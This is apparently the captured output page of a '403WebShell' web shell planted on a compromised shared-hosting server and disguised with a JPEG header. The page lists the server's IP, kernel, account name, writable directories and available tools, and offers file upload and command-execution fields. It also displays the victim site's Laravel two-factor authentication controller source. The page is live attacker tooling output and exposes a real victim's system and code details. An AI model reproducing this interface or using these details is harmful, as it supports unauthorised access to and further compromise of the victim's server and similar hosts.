����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.144.19.6
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/app/Http/Controllers/TwoFactorController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Cookie;
use Illuminate\Support\Facades\Hash;



class TwoFactorController extends Controller
{
    public function get2fa()
    {

        $user = auth()->user();

        $google2fa_url = "";

        if ($user->google2fa_secret != '') {

            $google2fa = app('pragmarx.google2fa');

            $google2fa_url = $google2fa->getQRCodeInline(
                $user->name . ' 2FA',
                $user->email,
                $user->google2fa_secret
            );
        }

        $data = array(
            'user' => $user,
            'google2fa_url' => $google2fa_url,
        );

        return view('auth.index', compact('data'));

    }

    public function generate2faSecret(Request $request)
    {

        $google2fa = app('pragmarx.google2fa');

        auth()->user()->update([
            'google2fa_secret' => $google2fa->generateSecretKey(),
        ]);

        return back()->with('success', __('Secret Key is generated, Please verify Code to Enable 2FA!'));
    }

    public function valid2FA(Request $request)
    {

        $google2fa = app('pragmarx.google2fa');

        $user = auth()->user();

        if ($google2fa->verifyKey($user->google2fa_secret, $request->one_time_password)) {

            auth()->user()->update([
                'google2fa_enable' => '1',
            ]);

            Cookie::queue('two_fa', 1);

            return back()->with('success', __('2FA is enabled on your account !'));

        } else {

            return back()->with('deleted', __('Secret Key is invalid, Please verify Code again to Enable 2FA!'));
        }

    }

    public function disable2FA(Request $request)
    {

        $request->validate([
            'password' => 'required',
        ]);

        if (Hash::check($request->password, auth()->user()->password)) {

            auth()->user()->update([
                'google2fa_enable' => '0',
                'google2fa_secret' => null,
            ]);

            return back()->with('success', __('2FA is disabled in your account !'));

        } else {
            return back()->withErrors(['password' => __('Invalid password !')]);
        }

    }

    public function login(Request $request)
    {

        $google2fa = app('pragmarx.google2fa');

        $user = auth()->user();

        if ($google2fa->verifyKey($user->google2fa_secret, $request->password)) {

            Cookie::queue('two_fa', 1);

            return redirect()->intended('/');

        } else {
            return back()->withErrors(['password' => __('Invalid pin !')]);
        }

    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit